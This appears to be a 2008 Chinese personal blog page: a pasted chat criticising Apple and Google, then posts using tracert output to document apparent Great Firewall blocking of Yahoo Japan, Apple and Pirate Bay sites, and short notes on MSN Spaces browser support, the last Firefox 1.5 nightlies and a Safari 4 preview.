stevenraptorxiong: 这些是不能够通过夸夸其谈来做到的

但是现在你总是因为苹果自己的说辞

期望很多

但是用了发现没你想像的好

好的产品,永远比你用户要的更多

惊喜的愉悦体验

虽然苹果比一些2流的厂商卖弄噱头,吹嘘设计好点

但是也好不到哪去

不过是做得稍微有点文化

好像能够引领潮流

话说回来

你能引领

说明本质上你和他们想一块去了

一样恶俗来着

電子妖精yksoft1: 说明他们也想去追那所谓潮流

stevenraptorxiong: 不过是更恶俗,想得更快而已

我现在已经不相信苹果是妥协了

我觉得他们是很主动去做那些可以讨好PC用户的事情

然后把Mac变成和PC一样的畅销的垃圾

電子妖精yksoft1: 我和多数资深用户一样并非switch到Mac的

现在他们在做的就是怎么让pc用户switch到mac

stevenraptorxiong: 是啊

太明显了

其实那样的用户就是不适合Mac

最起码是原来的Mac

你说现在Mac的那些功能

我就觉得么必要

但是没这些恶俗的玩意儿他们接受不了

那么怎么switch

電子妖精yksoft1: 比如摄像头

stevenraptorxiong: 只有就是变得一样恶俗才成

電子妖精yksoft1: 我不觉得webcam这东西有多实用

。。

又开始忙了?

stevenraptorxiong: 还好

回SMS

呵呵

iSight

对大多的人来说就是一玩具

然后就是些废物的噱头工具

電子妖精yksoft1: 看来你和我想得一样

mac不是一种life

stevenraptorxiong: 但是原来那个iSight我挺喜欢那个造型的

你觉得是什么

??

精神?理想?

電子妖精yksoft1: 和其他任何平台一样

就是个舞台

stevenraptorxiong: 对头

我现在也觉得苹果就是一工具

電子妖精yksoft1: jobs想得就是把它变成一种life

一种可以让他财源滚滚的life

stevenraptorxiong: 因为这样好骗钱

不过要这么说有的工具上升到了一个高度

通过设计

例子太多

電子妖精yksoft1: 嗯

stevenraptorxiong: 但是苹果今天已经么这个高度了

不过就是那些PCer看了说有意思,好看

要买而已

么高度

電子妖精yksoft1: 有人说google是苹果的反面

stevenraptorxiong: 某些地方是

早期的Google和早期的苹果一样代表了某种理想来着

不过现在都不是了

Google是一个模式,和Mac一样

電子妖精yksoft1: 都被$迷眼

stevenraptorxiong: 好狠狠的骗钱

其实都把自己渲染得很美好,其实不然

其实Google很伪善。。。。。

電子妖精yksoft1: 商人都是伪善的

stevenraptorxiong: 我觉得公司要盈利可以理解

但是你不能把自己渲染得貌似圣人一样

你要承认你自己也要生存

要为股东创造利益

很简单

也可以顺便继续提供更好的服务

電子妖精yksoft1: 嗯

stevenraptorxiong: 真把自己搞得圣人一样的公司要倒闭的

比如96年的苹果

電子妖精yksoft1: 呵

stevenraptorxiong: 还真搞得很纯粹,那是不行的

電子妖精yksoft1: 有些激进分子说

stevenraptorxiong: ?

電子妖精yksoft1: 哪怕看着彩虹苹果破产,也不愿看着单色苹果像现在这么活着

stevenraptorxiong: 对啊

其实我当时不喜欢Intel Mac

也不是因为那是Intel

而是没有封闭的系统

Mac很难保持自己的完整

今天看来Intel不过是一个开始

電子妖精yksoft1: 屈从和堕落总会越来越加深

2008年7月6日星期日

一次拿上千万用户进行的秘密实验?

C:\Users\yksoft_user>tracert www.nicovideo.jp

Tracing route to www.nicovideo.jp [202.248.110.243]
over a maximum of 30 hops:

1 1 ms 1 ms 1 ms 192.168.18.1
2 * * * Request timed out.
3 58 ms 58 ms 58 ms 222.247.29.89
4 59 ms 58 ms 58 ms 61.187.255.149
5 161 ms 160 ms 160 ms 61.137.0.229
6 166 ms 165 ms 166 ms 202.97.40.89
7 200 ms 197 ms 197 ms 202.97.33.146
8 192 ms 195 ms 196 ms 202.97.60.146
9 * * * Request timed out.
10 * * * Request timed out.
11 * * * Request timed out.
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 * * * Request timed out.
16 * * * Request timed out.
17 * * ^C
C:\Users\yksoft_user>tracert store.apple.com

Tracing route to store.apple.com.akadns.net [17.149.156.10]
over a maximum of 30 hops:

1 1 ms 1 ms 2 ms 192.168.18.1
2 * * * Request timed out.
3 59 ms 58 ms 59 ms 222.247.29.45
4 58 ms 57 ms 58 ms 61.187.255.69
5 160 ms 160 ms 161 ms 61.137.0.229
6 165 ms 165 ms 166 ms 202.97.40.89
7 * * * Request timed out.
8 * * * Request timed out.
9 * * * Request timed out.
10 * * * Request timed out.
11 * * * Request timed out.
12 * ^C
C:\Users\yksoft_user>tracert apple.com
Unable to resolve target system name apple.com.

C:\Users\yksoft_user>tracert www.apple.com

Tracing route to www.apple.com.akadns.net [17.112.152.32]
over a maximum of 30 hops:

1 2 ms 1 ms 1 ms 192.168.18.1
2 * * * Request timed out.
3 59 ms 57 ms 58 ms 222.247.29.89
4 58 ms 58 ms 58 ms 61.187.255.145
5 161 ms 159 ms 160 ms 61.137.0.229
6 167 ms 164 ms 166 ms 202.97.40.89
7 * * * Request timed out.
8 * * * Request timed out.
9 * * * Request timed out.
10 * * * Request timed out.
11 * * * Request timed out.
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 * ^C
C:\Users\yksoft_user>tracert spaces.live.com

Tracing route to spaces.live.com [65.55.128.48]
over a maximum of 30 hops:
1 1 ms 1 ms 1 ms 192.168.18.1
2 * * * Request timed out.
3 59 ms 59 ms 59 ms 222.247.29.89
4 59 ms 59 ms 57 ms 61.187.255.149
5 61 ms 60 ms 61 ms 61.137.0.133
6 69 ms 68 ms 80 ms 202.97.40.161
7 * * * Request timed out.
8 * * * Request timed out.
9 * * * Request timed out.
10 * * * Request timed out.
11 * * * Request timed out.
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 * * * Request timed out.
16 * * * Request timed out.
17 * * * Request timed out.
18 * * * Request timed out.
19 * * * Request timed out.
20 * * * Request timed out.
21 * * * Request timed out.
22 * * * Request timed out.
23 * * * Request timed out.
24 * ^C
C:\Users\yksoft_user>tracert www.apple.com

Tracing route to www.apple.com.akadns.net [17.112.152.32]
over a maximum of 30 hops:

1 1 ms 1 ms 1 ms 192.168.18.1
2 * * * Request timed out.
3 59 ms 58 ms 58 ms 222.247.29.89
4 57 ms 57 ms 59 ms 61.187.255.145
5 160 ms 160 ms 161 ms 61.137.0.229
6 165 ms 173 ms 167 ms 202.97.40.89
7 * * * Request timed out.
8 * * * Request timed out.
9 * * * Request timed out.
10 * * * Request timed out.
11 * * * Request timed out.
12 * * ^C
C:\Users\yksoft_user>
这究竟是上头拿几千万用户做实验(用部分电信主干网上的特殊用途IDS),还是又一次什么海底光缆断裂之类的东西?总之狗林匹克之前的噩梦已经开始了。我也不打什么和谐logo,因为——
全部国外网站均无法访问-月光博客:http://www.williamlong.info/archives/1404.html
这篇文章是在某洋葱路由之下才发上来的。

2008年7月5日星期六

还是想问M$N Space的developers一句:难道在非IE下开发就这么难?

IE8 下,M$N Spaces总算给搞正常了。而现在他们似乎对于Mozilla系列还是非常之不支持。以前搞IE、Firefox两套框架的时代显然已经过去了,但是他们的一切修正都只基于“最新”版本。现在,在Mozilla1.8下,space顶部的导航栏完全就是个乱的;1.9、2.0a1还正常。而且,这么长时间以来,还是没办法把在线编辑器搞出来。别人ewebediter、fckeditor都支持了多年Mozilla系和Webkit,M$就这么没有竞争力吗?
IE的好日子其实早就快到头了。现在就算是很多ASP写的程序都能够正确支持在非IE浏览器下的操作,连M$的下载现在也完全就是w3c路线。M$N也许要有一次真正的大改版,或者最终把流氓雅虎的人挖来,也许才可能真正和google的那些Web application对抗。。

2008年6月17日星期二

再见,Firefox 1.5

从Firefox 1.5转到Seamonkey trunk7个月来,我突然想起这个老伙伴来了。连上ftp.mozilla.org(可能又需要代理),在nightly里一看,5月16日之后,就再也看不到mozilla1.8.0了。我苦苦寻找,发现了Firefox 1.5的三个最终的nightly。
http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2008/03/2008-03-08-13-mozilla1.8.0/
最终Windows版,2008年3月8日。
http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2008/03/2008-03-08-06-mozilla1.8.0/
最终Mac版,2008年3月8日。
http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2008/05/2008-05-13-04-mozilla1.8.0/
最终Linux版,2008年5月13日。
Farewell, Mozilla 1.8.0.

2008年6月15日星期日

Yahoo Japan之墙更新与ThePirateBay之牺牲

C:\Users\yksoft_user>tracert www.yahoo.co.jp

Tracing route to www.yahoo.co.jp [124.83.167.212]
over a maximum of 30 hops:

1 1 ms 1 ms 1 ms 192.168.18.1
2 * * * Request timed out.
3 44 ms 44 ms 43 ms 222.247.29.89
4 47 ms 42 ms 42 ms 61.187.255.145
5 70 ms 48 ms 45 ms 61.137.0.133
6 53 ms 58 ms 87 ms 202.97.40.45
7 85 ms 53 ms 54 ms 202.97.36.93
8 77 ms 70 ms 83 ms 202.97.35.61
9 69 ms 69 ms 78 ms 202.97.44.58
10 * * * Request timed out.
11 * * * Request timed out.
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 * * * Request timed out.
增加了第一层。
另外,TPB也惨遭厄运。难道是?
第一层+第二层
http://www.google.com/search?hl=en&q=thepiratebay.org&btnG=Google+Search
C:\Users\yksoft_user>tracert thepiratebay.org

Tracing route to thepiratebay.org [83.140.176.146]
over a maximum of 30 hops:

1 1 ms 1 ms 1 ms 192.168.18.1
2 * * * Request timed out.
3 48 ms 50 ms 41 ms 222.247.29.45
4 42 ms 45 ms 46 ms 61.187.255.97
5 88 ms 50 ms 45 ms 61.137.0.133
6 54 ms 53 ms 55 ms 202.97.40.161
7 81 ms 55 ms 64 ms 202.97.36.93
8 120 ms 102 ms 72 ms 202.97.35.61
9 69 ms 70 ms 70 ms 202.97.44.58
10 * * * Request timed out.
11 * * * Request timed out.
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 * * * Request timed out.
16 ^C
没什么好说了。
“站在国家利益的角度,国际大软件厂商在中国确实存在垄断威胁,一方面他们通过捆绑方式排挤竞争对手,另一方面通过复杂的定价策略形成价格歧视,间接上造成国内软件市场盗版率过高.国家知识产权局副局长张勤表示:‘中国盗版率不可能这么高,盗版率问题已经被国外机构妖魔化了.’”
你封tpb,凭什么不封greendown、xdowns、深度、番茄花园、macХ?
因此肯定不是这样,如果这样还不是被洋人搞怕了?估计有人往tpb上传了不水产的东西。
另外,我连discussions.apple.com都tracert不通,估计是亚太区某个大的镜像数据中心(属于akamai的)被墙了。
17日下午2点更新:使用opendns访问雅虎日本已经成功,但是电信DNS仍然有第0层盾。

2008年6月14日星期六

Yahoo! 日本,墙外幽魂



2008年6月14日凌晨。图能说明一切。
请自己尝试http://www.google.com/search?hl=en&fkt=12439&fsdt=14978&q=.yahoo.co.jp&btnG=Google+Search

2008年6月12日星期四

Safari 4 DP for Windows 精简免安装版

Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/526.11 (KHTML, like Gecko) Version/4.0dp1 Safari/526.12.2
WWDC 刚过,苹果就放出了Safari 4的第一个开发者预览版本。我下载其Windows版本试用后,发现该版本在渲染上和34xxx的Webkit版3.1.1区别不是很大,问题在于其把使用Windows原生文字渲染的选项放进了预置窗口中,不再需要修改plist了。
Photobucket
字体渲染中加入的新选项。
Photobucket
使用Windows原生字体渲染的效果。 Photobucket
Acid3 96~100分之间。
Photobucket
综合起来看,Safari4 DP和3.1.1+Webkit 34xxx的实际速度和内存占用率上没有太大的改变,在我的eee PC 701上还是比Seamonkey trunk内存占用稍大。
这篇短文就是Safari 4 DP for Windows下完成的。
Mediafire 下载:14.1 MB